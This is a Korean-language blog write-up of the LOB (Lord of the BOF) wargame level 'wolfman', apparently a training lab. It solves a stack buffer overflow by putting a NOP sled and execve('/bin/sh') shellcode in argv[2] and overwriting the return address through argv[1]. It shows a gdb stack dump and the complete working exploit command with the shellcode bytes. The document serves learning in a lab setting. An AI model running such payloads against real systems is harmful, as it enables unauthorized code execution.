728x90
LOB 6 wolfman write up |
LOB 6 wolfman 라업입니다.
갈수록 점점 제약조건이 많아진다 이번에는 환경변수, 버퍼 초기화, 입력길이 제한 3가지의 제한이 걸렸다.
입력이 49글자 이상이면 안된다.
사실 이 문제는 보자마자 어떻게 풀이해야할지 아이디어가 떠올랐다. 전전 문제에 대한 풀이를 search하다가
argv[2]에 쉘코드를 넣고 푸는 방법을 봤었기때문에 길이 제한을 보자마자 그렇게 풀어야할 것 같았다.
즉 argv[2]에 nop+ 쉘코드를 주고,
argv[1] 페이로드에는 44byte dummy + argv[2] 주소(ret) 를 주면 될 것이다.
그럼 argv[2]의 주소를 알아내는게 문제를 푸는 핵심이라고 보면 된다
[wolfman@localhost TMP]$ gdb -q darkelf (gdb) r `python -c 'print "A" * 47 + "\xbf"'` `pythonc -c 'print "B"*100'` |
복사본을 만들어서 gdb로 열고, argv[1]에는 dummy(47) + bf(1), argv[2]에는 100개의 B를 준다
(gdb) r `python -c 'print "A" * 47 + "\xbf"'` `python -c 'print "B"*100'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/wolfman/TMP/darkelf `python -c 'print "A" * 47 + "\xbf"'` `python -c 'print "B"*100'` Breakpoint 1, 0x80485f2 in main () (gdb) x/100x $esp 0xbffffa24: 0xbffffa30 0xbffffbb6 0x00000016 0x41414141 0xbffffa34: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffa44: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffa54: 0x41414141 0x41414141 0xbf414141 0x00000000 0xbffffa64: 0xbffffaa4 0xbffffab4 0x40013868 0x00000003 0xbffffa74: 0x08048450 0x00000000 0x08048471 0x08048500 0xbffffa84: 0x00000003 0xbffffaa4 0x08048390 0x0804864c 0xbffffa94: 0x4000ae60 0xbffffa9c 0x40013e90 0x00000003 0xbffffaa4: 0xbffffb9c 0xbffffbb6 0xbffffbe7 0x00000000 0xbffffab4: 0xbffffc4c 0xbffffc62 0xbffffc7b 0xbffffc9a 0xbffffac4: 0xbffffcbc 0xbffffcc9 0xbffffe8c 0xbffffeab 0xbffffad4: 0xbffffec8 0xbffffedd 0xbffffefc 0xbfffff07 0xbffffae4: 0xbfffff21 0xbfffff31 0xbfffff39 0xbfffff4a 0xbffffaf4: 0xbfffff54 0xbfffff62 0xbfffff73 0xbfffff81 0xbffffb04: 0xbfffff8c 0xbfffff9f 0x00000000 0x00000003 0xbffffb14: 0x08048034 0x00000004 0x00000020 0x00000005 0xbffffb24: 0x00000006 0x00000006 0x00001000 0x00000007 0xbffffb34: 0x40000000 0x00000008 0x00000000 0x00000009 0xbffffb44: 0x08048450 0x0000000b 0x000001f9 0x0000000c 0xbffffb54: 0x000001f9 0x0000000d 0x000001f9 0x0000000e 0xbffffb64: 0x000001f9 0x00000010 0x0f8bfbff 0x0000000f 0xbffffb74: 0xbffffb97 0x00000000 0x00000000 0x00000000 0xbffffb84: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffb94: 0x69000000 0x00363836 0x6d6f682f 0x6f772f65 0xbffffba4: 0x616d666c 0x4d542f6e 0x61642f50 0x6c656b72 (gdb) 0xbffffbb4: 0x41410066 0x41414141 0x41414141 0x41414141 0xbffffbc4: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffbd4: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffbe4: 0x4200bf41 0x42424242 0x42424242 0x42424242 0xbffffbf4: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffffc04: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffffc14: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffffc24: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffffc34: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffffc44: 0x42424242 0x00424242 0x00000000 0x00000000 0xbffffc54: 0x00000000 0x00000000 0x00000000 0x00000000 |
argv[2] 로 준 B가 있는 주소를 찾았다. 리턴주소를 적당하게 저 부근으로 해주고
argv[2]로는 놉슬레드와 쉘코드를 주면 공격에 성공할 것이다.
argv[1] : `python -c 'print "A" * 44 + "\xf4\xfb\xff\xbf" '` argv[2] : `python -c 'print "\x90" * 500 +"\x34\xfb\xff\xbf" + "\x90"*500+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" '` payload : ./darkelf `python -c 'print "A" * 44 + "\xf4\xfb\xff\xbf" '` `python -c 'print "\x90" * 500 +"\x34\xfb\xff\xbf" + "\x90"*500+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" '` |
성공 !
마찬가지로 버퍼와 변수에 대한 스택프레임은 이전 문제들과 동일하므로 생략하겠습니다.
728x90
'wargame > LOB' 카테고리의 다른 글
[포너블] LOB 8 - orge (0) | 2021.10.03 |
---|---|
[포너블] LOB 7 - darkelf (0) | 2021.10.03 |
[포너블] LOB 5 - orc (0) | 2021.09.30 |
[포너블] LOB 4 - goblin (0) | 2021.09.30 |
[포너블] LOB 3 - cobolt (0) | 2021.09.26 |
댓글